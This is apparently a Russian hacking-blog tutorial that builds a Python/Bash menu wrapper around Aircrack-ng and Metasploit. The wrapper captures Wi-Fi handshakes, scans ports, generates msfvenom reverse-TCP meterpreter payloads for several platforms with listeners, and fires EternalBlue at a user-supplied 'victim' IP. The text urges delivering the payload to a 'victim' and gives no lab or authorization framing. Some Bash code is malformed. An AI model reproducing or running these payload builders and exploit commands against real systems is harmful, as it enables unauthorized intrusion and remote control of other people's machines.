Metalsploit Python Взлом

Пишем свой фреймворк. Упрощаем работу с Metasploit и Aircrack-ng. Python + Bash

Если вам доводилось использовать Metasploit и Aircrack-ng, то вы наверняка задумывались о том, что неплохо было бы...

Пишем свой фреймворк. Упрощаем работу с Metasploit и Aircrack-ng. Python + Bash

Если вам доводилось использовать Metasploit и Aircrack-ng, то вы наверняка задумывались о том, что неплохо было бы автоматизировать их работу. Сегодня я вам покажу примеры оптимизации используя Python и Bash!

Начнем с того что для пайтона уже есть библиотека под названием pymetasploit, но дабы уменьшить статью и не рассматривать еще одну либу, мы будем использовать самые простые решения, в которых сможет разобраться даже ребенок.

Начинаем!

Как всегда импортим нужные модули и делаем лого

import os
import platform
from modules.CyberScanner import portscanner
from modules.AircrackWifi import aircrackwifi
from modules.AirodumpWifi import airodumpwifi


mainlogo = r'''
   
'''

Дальше создаем графическое меню, с которого в дальнейшем будем запускать наши утилиты

# Main
def main():
    os.system("chmod +x *")#выдаем файлам нужные параметры
    os.system("clear")#очищаем терминал
    print(mainlogo)#печатаем логотип

    print('''
 [1] Port Scanner #сканер портов

 [2] Capture Handshake Of The Closest Networks #захват хендшейка AP рядом с нами  

 [3] Capture Handshake Of Specific Network #захват хендшейка определенной AP

 [4] Automated Metasploit #Bash скрипт для оптимизации работы Metasploit

 [99] Exit
''')

os.system(“chmod +x *”) задает файлам в папке с нашим фреймворком нужные разрешения, просто держите в уме то, что при каждом запуске функции main файлам будет выдаваться параметр +x, это нужно будет в дальнейшем для запуска Bash скриптов, при желании это можно убрать, но тогда при добавлении новых скриптов это нужно будет писать руками.

Теперь пишем саму функцию меню:

menu_option = int(input('[OPTION] ==> '))#берем ввод пользователя
что бы в дальнейшем запускать наши модули
    #Тут наши функции с утилитами, я их пометил "###"   
    if menu_option == 1:
        portscanner()###
    elif menu_option == 2:
        aircrackwifi()###
    elif menu_option == 3:
        airodumpwifi()###
    elif menu_option == 4:
        automatedmetasploit()###
    elif menu_option == 99:
        exit()
    else:
        print("Wrong command !")#на случай если пользователь указал неверную цифру


if __name__ == '__main__':
    main()
    print('[$] Created by F4RB3R with Love.')#после завершения работы скрипта добавляем надпись

В конечном итоге должно выйти что то такое:

С меню и обработкой ввода пользователя мы закончили, теперь нужно написать сами скрипты для оптимизации. Начнем с Aircrack-ng и Airodump-ng!

Импортируем библиотеки, пишем логотип, все как всегда:

import os
import sys


def aircrackwifi():#основная функция которую мы будем вызывать в главном меню

    logo = r'''
                       
    '''

    os.system("clear")#очищаем терминал
    print(mainlogo)#печатаем логотип 

Теперь нам нужно начать писать базовые команды aircrack-а, вроде остановки network manager-a и тд.

print("Kill network manager ? (type 'y' or 'n')")#Спрашиваем хочет ли пользователь остановаить network manager 

if input() == "y":#если y, делаем команду ниже
    os.system("airmon-ng check kill")
elif input() == "yes":
    os.system("airmon-ng check kill")
elif input() == "n":
    print("Moving next...")
else:#в других случаях
    print("Network manager wasn`t stopped !")

Теперь выбор адаптера

os.system("airmon-ng")#показываем какие адаптеры есть в системе

userdecision = input("Select wifi-dongle that is more powerful ! (0 for wlan0, 1 for wlan1 and 2 for wlan2)")#переменная с выбором пользователя

if userdecision == "0":#если 0 то выбираем wlan0 и тд.
    os.system("airmon-ng start wlan0")
elif userdecision == "1":
    os.system("airmon-ng start wlan1")
elif userdecision == "2":
    os.system("airmon-ng start wlan2")
else:#на случай если пользователь не выбрал ничего или нажал не ту кнопку
    print("You didn`t choose wifi-dongle !\nExiting...")
    sys.exit()#выходим из программы

Теперь сам запуск

os.system("airodump-ng wlan" + userdecision + "mon")

Функция которую мы написали запускает aircrack, но сканит все точки рядом с нами. А что если мы хотим сканить только одну? Тут нет ничего сложного, добавим пару переменных в конце и у нас будет функция, которая мониторит определенную AP.

Дабы не расписывать все с нуля я возьму лишь основную часть. Как видите код одинаковый и лишь снизу есть небольшие изменения.

os.system("clear")
print(logo)

print("Kill network manager ? (type 'y' or 'n')")

if input() == "y":
    os.system("airmon-ng check kill")
elif input() == "yes":
    os.system("airmon-ng check kill")
else:
    print("Network manager wasn`t stopped !")

os.system("airmon-ng")

userdecision = input("Select wifi-dongle that is more powerful ! (0 for wlan0, 1 for wlan1 and 2 for wlan2)")

if userdecision == "0":
    os.system("airmon-ng start wlan0")
elif userdecision == "1":
    os.system("airmon-ng start wlan1")
elif userdecision == "2":
    os.system("airmon-ng start wlan2")
else:
    print("You didn`t choose wifi-dongle !\nExiting...")
    sys.exit()


#Тут мы добавляем переменную bssid, channel и handshakename 

bssid = input("Enter BSSID of AP")#просим юзера ввести bssid
channel = input("Enter channel of AP")#просим юзера ввести канала AP
handshakename = input("Enter desired name for handshake")#просим юзера ввести имя для хендшейка.Важное замечание, имя может быть и без расширения!

os.system("airodump-ng " + "--bssid " + bssid + " --channel " + channel + " -w " + handshakename + " wlan" + userdecision + "mon")#склеиваем все вместе и запускаем

Новых скринов не будет так как принцип работы идентичен. Возможно вы заметили, что в меню я добавил функцию сканера портов, писать мы его будем все так же на пайтоне используя socket

Импортируем нужные библиотеки

import socket
import platform
import os
import sys
from datetime import datetime

logo = r'''

'''

Дальше определим с какой ОС запущен наш скрипт

if platform.system() == "Windows":
    os.system("@cls")
else:
    os.system("clear")
print(logo)

Кратко объясню что делает функция которую мы только что написали, если ОС Windows – используется cls, что бы очистить терминал, если другая ОС – используется clear

# Считываем ввод ip/хоста от пользователя 
remoteServer = input("Enter a remote host to scan: ")
remoteServerIP = socket.gethostbyname(remoteServer)

# Выводим баннер в котором указываем какой айпи мы сканим 
print("-" * 60)
print("Please wait, scanning remote host", remoteServerIP)
print("-" * 60)

# Переменная в которой мы содержим время начала сканирования
t1 = datetime.now()

С айпи/хостом для скана мы разобрались, теперь самое время указать порты которые мы и будем сканировать:

# Создаем "словарь" в котором будут наши порты, при желании можете сделать for port in range(1, 100): Это означает что будут проверятся порты с 1 до 100. 

dict = [20, 21, 22, 53, 80, 443, 445, 3389, 25]
try:
    for port in dict:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        result = sock.connect_ex((remoteServerIP, port))
        if result == 0:
            print("Port {}:    Open".format(port))
        sock.close()

Напишем небольшую проверку если что то пойдет не так:

#Если нажато CTRL + C программа прекратит работу
except KeyboardInterrupt:
    print("You pressed Ctrl+C")
    sys.exit()

#Если хост не найден(указан не верно) программа завершит работу и оповестит нас что не так
except socket.gaierror:
    print('Hostname could not be resolved. Exiting')
    sys.exit()

#Это на случай если к серверу не удаеться подключиться
except socket.error:
    print("Couldn't connect to server")
    sys.exit()

Финальные шаги и программа готова к использованию

# Проверяем время снова
t2 = datetime.now()

# Высчитываем время работы (отнимаем время начала от времени завершения работы)
total =  t2 - t1

# Выводим информацию на экран
print('Scanning Completed in: ', total)

Теперь самое интересное!

Автоматизация Metasploit, писать скрипт мы будем на Bash, язык, если его можно так назвать, довольно простой, если вам было все понятно до этого момента, то трудностей не возникнет. Начинаем!

Делаем лого и меню

#!/bin/bash

# automatedmetsaploit

i=”0″

resize -s 27 80

clear

while [ $i -lt 1 ]

do

clear

ip=$(ip addr show wlan0 | awk ‘/inet / {print $2}’ | cut -d/ -f 1)

echo -e ”

(1) Windows –> test.exe (payload and listener)

(2) Android –> test.apk (payload and listener) 

(3) Linux –> test.py (payload and listener)

(4) MacOS –> test.jar (payload and listener)

(5) Web –> test.php (payload and listener)

(7) Exploit Windows 7/2008 x64 ONLY by IP (ms17_010_eternalblue)

Переменная ip нам понадобиться чуть позже. Добавляем переменные для меню, думаю тут обьяснять не нужно.

service postgresql start #тут мы запускаем базу данных для нашего Metasploit

exe=’1′

apk=’2′

py=’3′

jar=’4′

php=’5′

scan=’6′

eternalblue=’7′

read x #читаем ввод пользователя (если кто то знаком с паскалем тот нашел для себя знакомые моменты)

Теперь заберемся с Reverse TCP

if [ “$x” == “$exe” ]; then  #если пользователь выбрал 1 запускаеться переменная exe             

echo “Enter filename: (test.exe)” #просим ввести имя файла

read filename #”читаем” имя файла

msfvenom -p windows/meterpreter/reverse_tcp lhost=$ip lport=4444 -f exe > $filename #запуск метасплоита

echo -e ‘#переменная где мы выводим имя файла и запускаем “слушателя”, в это время закидываем получившийся exe “жертве”

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!Your payload: $filename!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Waiting for listener…

msfconsole -q -x ” use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost $ip ; set lport 4444 ; exploit ;”

Впринципе на этом можно было бы закончить, но я пошел чуть дальше и сделал Reverce TCP для всех видов ОС

elif [ “$x” == “$apk” ]; then                         #APK

echo “Enter filename: (test.apk)”

read filename

msfvenom -p android/meterpreter/reverse_tcp lhost=$ip lport=4444 > /root/Desktop/$filename

echo -e ‘

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!Your payload: /root/Desktop/$filename!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Waiting for listener…

msfconsole -q -x ” use exploit/multi/handler; set payload android/meterpreter/reverse_tcp; set lhost $ip ; set lport 4444 ; exploit ;”

elif [ “$x” == “$py” ]; then                      #PYTHON

echo “Enter filename: (test.py)”

read filename

msfvenom -p python/meterpreter/reverse_tcp lhost=$ip lport=4444 > /root/Desktop/$filename

echo -e ‘

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!Your payload: /root/Desktop/$filename!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Waiting for listener…

msfconsole -q -x ” use exploit/multi/handler; set payload python/meterpreter/reverse_tcp; set lhost $ip ; set lport 4444 ; exploit ;”

elif [ “$x” == “$jar” ]; then                       #JAVA

echo “Enter filename: (test.jar)”

read filename

msfvenom -p java/meterpreter/reverse_tcp lhost=$ip lport=4444 -f jar > /root/Desktop/$filename

echo -e ‘

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!Your payload: /root/Desktop/$filename!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Waiting for listener…

msfconsole -q -x ” use exploit/multi/handler; set payload java/meterpreter/reverse_tcp; set lhost $ip ; set lport 4444 ; exploit ;”

elif [ “$x” == “$php” ]; then                       #PHP

echo “Enter filename: (test.php)”

read filename

msfvenom -p php/meterpreter/reverse_tcp lhost=$ip lport=4444 > /root/Desktop/$filename

echo -e ‘

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

!Your payload: /root/Desktop/$filename!

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Waiting for listener…

msfconsole -q -x ” use exploit/multi/handler; set payload php/meterpreter/reverse_tcp; set lhost $ip ; set lport 4444 ; exploit ;”

Теперь я вам покажу как использовать эксплоиты!

elif [ “$x” == “$eternalblue” ]; then                       #ETERNALBLUE

echo “Victim’s IP:”#просим ввести ip

read r#читаем ввод пользователя

msfconsole -q -x ” use exploit/windows/smb/ms17_010_eternalblue; set payload windows/x64/meterpreter/reverse_tcp; set lhost $ip ; set rhost $r ; exploit ; “#запускаем Metasploit командами

В конце у меня вышло что то такое:

(1) Windows –> test.exe (payload and listener)

(2) Android –> test.apk (payload and listener) 

(3) Linux –> test.py (payload and listener)

(4) MacOS –> test.jar (payload and listener)

(5) Web –> test.php (payload and listener)

(6) Scan if a target is vulnerable to ms17_010

(7) Exploit Windows 7/2008 x64 ONLY by IP (ms17_010_eternalblue)

(7rd) Enable Remote Desktop (ms17_010_eternalblue)

(8) Exploit Windows Vista/XP/2000/2003 ONLY by IP (ms17_010_psexec)

(8rd) Enable Remote Desktop (ms17_010_psexec)

(9) Exploit Windows with a link (HTA Server)

Вас ебали, ебут и будут ебать. Государство, хакеры, чиновники.

Остановить эту свингер-пати невозможно. Но я научу предохраняться. Я покажу и расскажу вам то о чём не пишет журнал “Хакер” и не рассказывают или просто не знают другие каналы. Здесь ты найдешь подборку лучших статей и видеоматериалов на тему кибербезопасности. Все, от аудита Wi-Fi до вскрытия автомобилей (если вы потеряли ключи). А также горячие новости с авторскими коментариями.

Обо всем этом вам расскажу только я на канале @cybersecs

Очень злой админ
Очень злой админ Автор статьи

Админ сайта. Публикует интересные статьи с других ресурсов, либо их переводы. Если есть настроение, бывает, что пишет и что-то своё.